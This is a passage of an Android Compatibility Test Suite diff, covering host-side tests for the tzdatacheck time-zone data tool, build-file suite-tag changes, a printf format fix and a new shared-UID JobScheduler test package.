+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(oldMinorDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(5, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was deleted.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ // {dataDir}/current exists but the distro version is newer (which is accepted because it should
+ // be backwards compatible).
+ public void testValidMinorDistroVersion_newer() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion newMajorDistroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION + 1,
+ VALID_RULES_VERSION, VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(newMajorDistroVersion)
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+ }
+
+ // {dataDir}/current is valid but the tzdata file in /system is missing.
+ public void testSystemTzDataFileMissing() throws Exception {
+ // Deliberately not writing anything in /system here.
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataCurrentDir, validDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(6, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
+ }
+
+ // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
+ public void testSystemTzDataFileCorrupt() throws Exception {
+ // Set up the /system directory structure on host.
+ byte[] invalidTzDataBytes = new byte[20];
+ Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), invalidTzDataBytes);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+ unpackOnHost(dataCurrentDir, validDistroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(7, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
+ }
+
+ // {dataDir}/current is valid and the tzdata file in /system is older.
+ public void testSystemTzRulesOlder() throws Exception {
+ // Set up the /system directory structure on host.
+ createSystemTzDataFileOnHost(RULES_VERSION_ONE);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ // Newer than RULES_VERSION_ONE in /system
+ final String distroRulesVersion = RULES_VERSION_TWO;
+ DistroVersion distroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION, distroRulesVersion, VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(distroVersion)
+ .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+ }
+
+ // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
+ public void testSystemTzDataSame() throws Exception {
+ // Set up the /system directory structure on host.
+ final String systemRulesVersion = VALID_RULES_VERSION;
+ createSystemTzDataFileOnHost(systemRulesVersion);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ DistroVersion distroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION, systemRulesVersion, VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(distroVersion)
+ .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // Assert the current data directory was not touched.
+ assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+ }
+
+ // {dataDir}/current is valid and the tzdata file in /system is the newer.
+ public void testSystemTzDataNewer() throws Exception {
+ // Set up the /system directory structure on host.
+ String systemRulesVersion = RULES_VERSION_TWO;
+ createSystemTzDataFileOnHost(systemRulesVersion);
+
+ // Set up the /data directory structure on host.
+ PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+ String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
+ DistroVersion distroVersion = new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+ distroRulesVersion,
+ VALID_REVISION);
+ byte[] distroBytes = createValidDistroBuilder()
+ .setDistroVersion(distroVersion)
+ .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+ .buildBytes();
+ unpackOnHost(dataCurrentDir, distroBytes);
+
+ // Push the host test directory and contents to the device.
+ pushHostTestDirToDevice();
+
+ // Execute tzdatacheck and check the status code.
+ assertEquals(0, runTzDataCheckOnDevice());
+
+ // It is important the dataCurrentDir is deleted in this case - this test case is the main
+ // reason tzdatacheck exists.
+ assertDevicePathDoesNotExist(dataCurrentDir);
+ }
+
+ private void createSystemTzDataFileOnHost(String systemRulesVersion) throws IOException {
+ byte[] systemTzData = createValidTzDataBytes(systemRulesVersion);
+ Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), systemTzData);
+ }
+
+ private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
+ createHostDirectory(stagedDir);
+
+ PathPair uninstallTombstoneFile = stagedDir.createSubPath(UNINSTALL_TOMBSTONE_FILE_NAME);
+ // Create an empty file.
+ new FileOutputStream(uninstallTombstoneFile.hostFile()).close();
+ }
+
+ private static void unpackOnHost(PathPair path, byte[] distroBytes) throws Exception {
+ createHostDirectory(path);
+ new TimeZoneDistro(distroBytes).extractTo(path.hostFile());
+ }
+
+ private static TimeZoneDistroBuilder createValidDistroBuilder() throws Exception {
+ String distroRulesVersion = VALID_RULES_VERSION;
+ DistroVersion validDistroVersion =
+ new DistroVersion(
+ DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+ DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+ distroRulesVersion, VALID_REVISION);
+ return new TimeZoneDistroBuilder()
+ .setDistroVersion(validDistroVersion)
+ .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+ .setIcuDataFile(new byte[10]);
+ }
+
+ private static byte[] createValidTzDataBytes(String rulesVersion) {
+ return new ZoneInfoTestHelper.TzDataBuilder()
+ .initializeToValid()
+ .setHeaderMagic("tzdata" + rulesVersion)
+ .build();
+ }
+
+ private int runTzDataCheckOnDevice() throws Exception {
+ return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
+ }
+
+ private int runTzDataCheckWithArgs(String[] args) throws Exception {
+ String command = createTzDataCheckCommand(mDeviceAndroidRootDir, args);
+ return executeCommandOnDeviceWithResultCode(command).statusCode;
+ }
+
+ private static String createTzDataCheckCommand(String rootDir, String[] args) {
+ StringJoiner joiner = new StringJoiner(" ");
+ String tzDataCheckCommand = rootDir + "/bin/tzdatacheck";
+ joiner.add(tzDataCheckCommand);
+ for (String arg : args) {
+ joiner.add(arg);
+ }
+ return joiner.toString();
+ }
+
+ private static void assertHostFileExists(Path path) {
+ assertTrue(Files.exists(path));
+ }
+
+ private String executeCommandOnDeviceRaw(String command) throws DeviceNotAvailableException {
+ return getDevice().executeShellCommand(command);
+ }
+
+ private void createDeviceDirectory(PathPair dir) throws DeviceNotAvailableException {
+ executeCommandOnDeviceRaw("mkdir -p " + dir.devicePath);
+ }
+
+ private static void createHostDirectory(PathPair dir) throws Exception {
+ Files.createDirectory(dir.hostPath);
+ }
+
+ private static class ShellResult {
+ final String output;
+ final int statusCode;
+
+ private ShellResult(String output, int statusCode) {
+ this.output = output;
+ this.statusCode = statusCode;
+ }
+ }
+
+ private ShellResult executeCommandOnDeviceWithResultCode(String command) throws Exception {
+ // A file to hold the script we're going to create.
+ PathPair scriptFile = mTestRootDir.createSubPath("script.sh");
+ // A file to hold the output of the script.
+ PathPair scriptOut = mTestRootDir.createSubPath("script.out");
+
+ // The content of the script. Runs the command, capturing stdout and stderr to scriptOut
+ // and printing the result code.
+ String hostScriptContent = command + " > " + scriptOut.devicePath + " 2>&1 ; echo -n $?";
+
+ // Parse and return the result.
+ try {
+ Files.write(scriptFile.hostPath, hostScriptContent.getBytes(StandardCharsets.US_ASCII));
+
+ // Push the script to the device.
+ pushFile(scriptFile);
+
+ // Execute the script using "sh".
+ String execCommandUnderShell =
+ mDeviceAndroidRootDir + "/bin/sh " + scriptFile.devicePath;
+ String resultCodeString = executeCommandOnDeviceRaw(execCommandUnderShell);
+
+ // Pull back scriptOut to the host and read the content.
+ pullFile(scriptOut);
+ byte[] outputBytes = Files.readAllBytes(scriptOut.hostPath);
+ String output = new String(outputBytes, StandardCharsets.US_ASCII);
+
+ int resultCode;
+ try {
+ resultCode = Integer.parseInt(resultCodeString);
+ } catch (NumberFormatException e) {
+ fail("Command: " + command
+ + " returned a non-integer: \"" + resultCodeString + "\""
+ + ", output=\"" + output + "\"");
+ return null;
+ }
+ return new ShellResult(output, resultCode);
+ } finally {
+ deleteDeviceFile(scriptFile, false /* failOnError */);
+ deleteDeviceFile(scriptOut, false /* failOnError */);
+ deleteHostFile(scriptFile, false /* failOnError */);
+ deleteHostFile(scriptOut, false /* failOnError */);
+ }
+ }
+
+ private void pushHostTestDirToDevice() throws Exception {
+ assertTrue(getDevice().pushDir(mTestRootDir.hostFile(), mTestRootDir.devicePath));
+ }
+
+ private void pullFile(PathPair file) throws DeviceNotAvailableException {
+ assertTrue("Could not pull file " + file.devicePath + " to " + file.hostFile(),
+ getDevice().pullFile(file.devicePath, file.hostFile()));
+ }
+
+ private void pushFile(PathPair file) throws DeviceNotAvailableException {
+ assertTrue("Could not push file " + file.hostFile() + " to " + file.devicePath,
+ getDevice().pushFile(file.hostFile(), file.devicePath));
+ }
+
+ private void deleteHostFile(PathPair file, boolean failOnError) {
+ try {
+ Files.deleteIfExists(file.hostPath);
+ } catch (IOException e) {
+ if (failOnError) {
+ fail(e);
+ }
+ }
+ }
+
+ private void deleteDeviceDirectory(PathPair dir, boolean failOnError)
+ throws DeviceNotAvailableException {
+ String deviceDir = dir.devicePath;
+ try {
+ executeCommandOnDeviceRaw("rm -r " + deviceDir);
+ } catch (Exception e) {
+ if (failOnError) {
+ throw deviceFail(e);
+ }
+ }
+ }
+
+ private void deleteDeviceFile(PathPair file, boolean failOnError)
+ throws DeviceNotAvailableException {
+ try {
+ assertDevicePathIsFile(file);
+ executeCommandOnDeviceRaw("rm " + file.devicePath);
+ } catch (Exception e) {
+ if (failOnError) {
+ throw deviceFail(e);
+ }
+ }
+ }
+
+ private static void deleteHostDirectory(PathPair dir, final boolean failOnError) {
+ Path hostPath = dir.hostPath;
+ if (Files.exists(hostPath)) {
+ Consumer<Path> pathConsumer = file -> {
+ try {
+ Files.delete(file);
+ } catch (Exception e) {
+ if (failOnError) {
+ fail(e);
+ }
+ }
+ };
+
+ try {
+ Files.walk(hostPath).sorted(Comparator.reverseOrder()).forEach(pathConsumer);
+ } catch (IOException e) {
+ fail(e);
+ }
+ }
+ }
+
+ private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
+ assertTrue(getDevice().doesFileExist(path.devicePath));
+ }
+
+ private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
+ throws Exception {
+ // Pull back just the version file and compare it.
+ File localFile = mTestRootDir.createSubPath("temp.file").hostFile();
+ try {
+ String remoteVersionFile = distroPath.devicePath + "/"
+ + TimeZoneDistro.DISTRO_VERSION_FILE_NAME;
+ assertTrue("Could not pull file " + remoteVersionFile + " to " + localFile,
+ getDevice().pullFile(remoteVersionFile, localFile));
+
+ byte[] bytes = Files.readAllBytes(localFile.toPath());
+ assertArrayEquals(bytes,
+ new TimeZoneDistro(expectedDistroBytes).getDistroVersion().toBytes());
+ } finally {
+ localFile.delete();
+ }
+ }
+
+ private void assertDevicePathDoesNotExist(PathPair path) throws DeviceNotAvailableException {
+ assertFalse(getDevice().doesFileExist(path.devicePath));
+ }
+
+ private void assertDevicePathIsFile(PathPair path) throws DeviceNotAvailableException {
+ // This check cannot rely on getDevice().getFile(devicePath).isDirectory() here because that
+ // requires that the user has rights to list all files beneath each and every directory in
+ // the path. That is not the case for the shell user and the /data and /data/local
+ // directories. http://b/35753041.
+ String output = executeCommandOnDeviceRaw("stat -c %F " + path.devicePath);
+ assertTrue(path.devicePath + " not a file. Received: " + output,
+ output.startsWith("regular") && output.endsWith("file\n"));
+ }
+
+ private static DeviceNotAvailableException deviceFail(Exception e)
+ throws DeviceNotAvailableException {
+ if (e instanceof DeviceNotAvailableException) {
+ throw (DeviceNotAvailableException) e;
+ }
+ fail(e);
+ return null;
+ }
+
+ private static void fail(Exception e) {
+ e.printStackTrace();
+ fail(e.getMessage());
+ }
+
+ /** A path that has equivalents on both host and device. */
+ private static class PathPair {
+ private final Path hostPath;
+ private final String devicePath;
+
+ PathPair(Path hostPath, String devicePath) {
+ this.hostPath = hostPath;
+ this.devicePath = devicePath;
+ }
+
+ File hostFile() {
+ return hostPath.toFile();
+ }
+
+ PathPair createSubPath(String s) {
+ return new PathPair(hostPath.resolve(s), devicePath + "/" + s);
+ }
+ }
+}
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index e2457c5..af7e2c9 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -31,7 +31,7 @@
LOCAL_CTS_TEST_PACKAGE := android.ui.cts
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
index 2d94543..7da5606 100644
--- a/hostsidetests/ui/appA/Android.mk
+++ b/hostsidetests/ui/appA/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppA
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
index 24108ca..07e2858 100644
--- a/hostsidetests/ui/appB/Android.mk
+++ b/hostsidetests/ui/appB/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppB
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
index fa63c59..688ace7 100644
--- a/hostsidetests/ui/control/Android.mk
+++ b/hostsidetests/ui/control/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingControl
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java b/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
index 7814dda..6b99c20 100644
--- a/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
+++ b/hostsidetests/ui/control/src/android/taskswitching/control/cts/TaskSwitchingDeviceTest.java
@@ -26,7 +26,6 @@
import android.content.IntentFilter;
import com.android.compatibility.common.util.CtsAndroidTestCase;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.MeasureRun;
@@ -70,7 +69,6 @@
super.tearDown();
}
- @CddTest(requirement="8.1/H-0-3")
public void testMeasureTaskSwitching() throws Exception {
final int NUMBER_REPEAT = 10;
final int SWITCHING_PER_ONE_TRY = 10;
diff --git a/hostsidetests/usage/Android.mk b/hostsidetests/usage/Android.mk
index 482ba91..ff4f5e0 100644
--- a/hostsidetests/usage/Android.mk
+++ b/hostsidetests/usage/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.app.usage
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/usage/app/Android.mk b/hostsidetests/usage/app/Android.mk
index 7347b9b..59626d6 100644
--- a/hostsidetests/usage/app/Android.mk
+++ b/hostsidetests/usage/app/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsAppUsageTestApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/usb/Android.mk b/hostsidetests/usb/Android.mk
index bc98445..f08261e 100644
--- a/hostsidetests/usb/Android.mk
+++ b/hostsidetests/usb/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.usb
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index f71c7f4..2ddf30f 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -29,6 +29,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 81cc265..b78d606 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -31,6 +31,8 @@
import com.android.tradefed.util.CommandStatus;
import com.android.tradefed.util.RunUtil;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -78,6 +80,7 @@
* Check if adb serial number, USB serial number, ro.serialno, and android.os.Build.SERIAL
* all matches and meets the format requirement [a-zA-Z0-9]{6,20}
*/
+ @CddTest(requirement="7.7.1/C-1-2")
public void testUsbSerial() throws Exception {
String adbSerial = mDevice.getSerialNumber().toLowerCase().trim();
if (adbSerial.startsWith("emulator-")) {
diff --git a/hostsidetests/webkit/Android.mk b/hostsidetests/webkit/Android.mk
index 6fe433c..663a079 100644
--- a/hostsidetests/webkit/Android.mk
+++ b/hostsidetests/webkit/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.webkit.hostside
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
index 6370fa4..60e9f3f 100644
--- a/hostsidetests/webkit/app/Android.mk
+++ b/hostsidetests/webkit/app/Android.mk
@@ -38,6 +38,6 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java b/libs/deviceutillegacy/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
similarity index 100%
rename from common/device-side/util/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
rename to libs/deviceutillegacy/src/com/android/compatibility/common/util/SynchronousPixelCopy.java
diff --git a/suite/audio_quality/lib/Android.mk b/suite/audio_quality/lib/Android.mk
index cd19e85..2b3c22a 100644
--- a/suite/audio_quality/lib/Android.mk
+++ b/suite/audio_quality/lib/Android.mk
@@ -19,7 +19,7 @@
LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
LOCAL_C_INCLUDES += $(LOCAL_PATH)/include $(LOCAL_PATH)/src
LOCAL_STATIC_LIBRARIES += libutils liblog libtinyalsa libcutils libtinyxml2
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS:= -g -fno-exceptions -Wno-unused-parameter
LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions
LOCAL_MODULE_HOST_OS := linux
LOCAL_MODULE:= libcts_audio_quality
diff --git a/suite/audio_quality/test/Android.mk b/suite/audio_quality/test/Android.mk
index 7a84802..f8fe13c 100644
--- a/suite/audio_quality/test/Android.mk
+++ b/suite/audio_quality/test/Android.mk
@@ -33,7 +33,7 @@
# need to keep everything in libcts_.. Otherwise, linker will drop some
# functions and linker error happens
LOCAL_WHOLE_STATIC_LIBRARIES := libcts_audio_quality
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS:= -g -fno-exceptions -Wno-unused-parameter
LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions -lpthread
LOCAL_CXX_STL := libc++_static
LOCAL_MODULE_HOST_OS := linux
diff --git a/suite/audio_quality/test/LogTest.cpp b/suite/audio_quality/test/LogTest.cpp
index 4412338..51cde10 100644
--- a/suite/audio_quality/test/LogTest.cpp
+++ b/suite/audio_quality/test/LogTest.cpp
@@ -14,6 +14,7 @@
* the License.
*/
+#include <inttypes.h>
#include <stdint.h>
#include <gtest/gtest.h>
@@ -46,12 +47,14 @@
int64_t d = 3;
int64_t e = 4;
int64_t f = 5;
- printf("printf %lld %lld %lld %lld %lld %lld\n", a, b, c, d, e, f);
- LOGD( "logd %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
- LOGV( "logv %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
- LOGI( "logi %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
- LOGW( "logw %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
- LOGE( "loge %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
+#define PrintABCDEF "%" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 \
+ " %" PRId64
+ printf("printf " PrintABCDEF "\n", a, b, c, d, e, f);
+ LOGD( "logd " PrintABCDEF, a, b, c, d, e, f);
+ LOGV( "logv " PrintABCDEF, a, b, c, d, e, f);
+ LOGI( "logi " PrintABCDEF, a, b, c, d, e, f);
+ LOGW( "logw " PrintABCDEF, a, b, c, d, e, f);
+ LOGE( "loge " PrintABCDEF, a, b, c, d, e, f);
Log::Instance()->setLogLevel(level);
}
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index acfcbb2..e58a494 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -22,12 +22,12 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Must match the package name in CtsTestCaseList.mk
LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 876882f..e433252 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -16,8 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.jobscheduler.cts">
-
+ package="android.jobscheduler.cts"
+ android:sharedUserId="android.jobscheduler.cts.shared.uid">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
@@ -48,4 +48,3 @@
android:value="com.android.cts.runner.CtsTestRunListener" />
</instrumentation>
</manifest>
-
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index ed9f69c..855ad48 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsJobSchedulerTestCases.apk" />
<option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
+ <option name="test-file-name" value="CtsJobSchedulerSharedUid.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.jobscheduler.cts" />
diff --git a/tests/JobScheduler/jobperm/Android.mk b/tests/JobScheduler/jobperm/Android.mk
index 97bfd3e..f54f8d6 100644
--- a/tests/JobScheduler/jobperm/Android.mk
+++ b/tests/JobScheduler/jobperm/Android.mk
@@ -26,7 +26,7 @@
$(call all-java-files-under, src) \
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsJobSchedulerJobPerm
diff --git a/tests/JobScheduler/jobperm/README.txt b/tests/JobScheduler/jobperm/README.txt
new file mode 100644
index 0000000..f285815
--- /dev/null
+++ b/tests/JobScheduler/jobperm/README.txt
@@ -0,0 +1,2 @@
+This APK uses the same shared UID as CtsJobSchedulerTestCases. It has no code but exists for
+a shared-UID tests.
\ No newline at end of file
diff --git a/tests/JobScheduler/shareduid/Android.mk b/tests/JobScheduler/shareduid/Android.mk
new file mode 100644
index 0000000..ac4d8b3
--- /dev/null
+++ b/tests/JobScheduler/shareduid/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+
+LOCAL_SRC_FILES := \
+ $(call all-java-files-under, src) \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUid
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobScheduler/shareduid/AndroidManifest.xml b/tests/JobScheduler/shareduid/AndroidManifest.xml
new file mode 100755
index 0000000..756a067
--- /dev/null
+++ b/tests/JobScheduler/shareduid/AndroidManifest.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
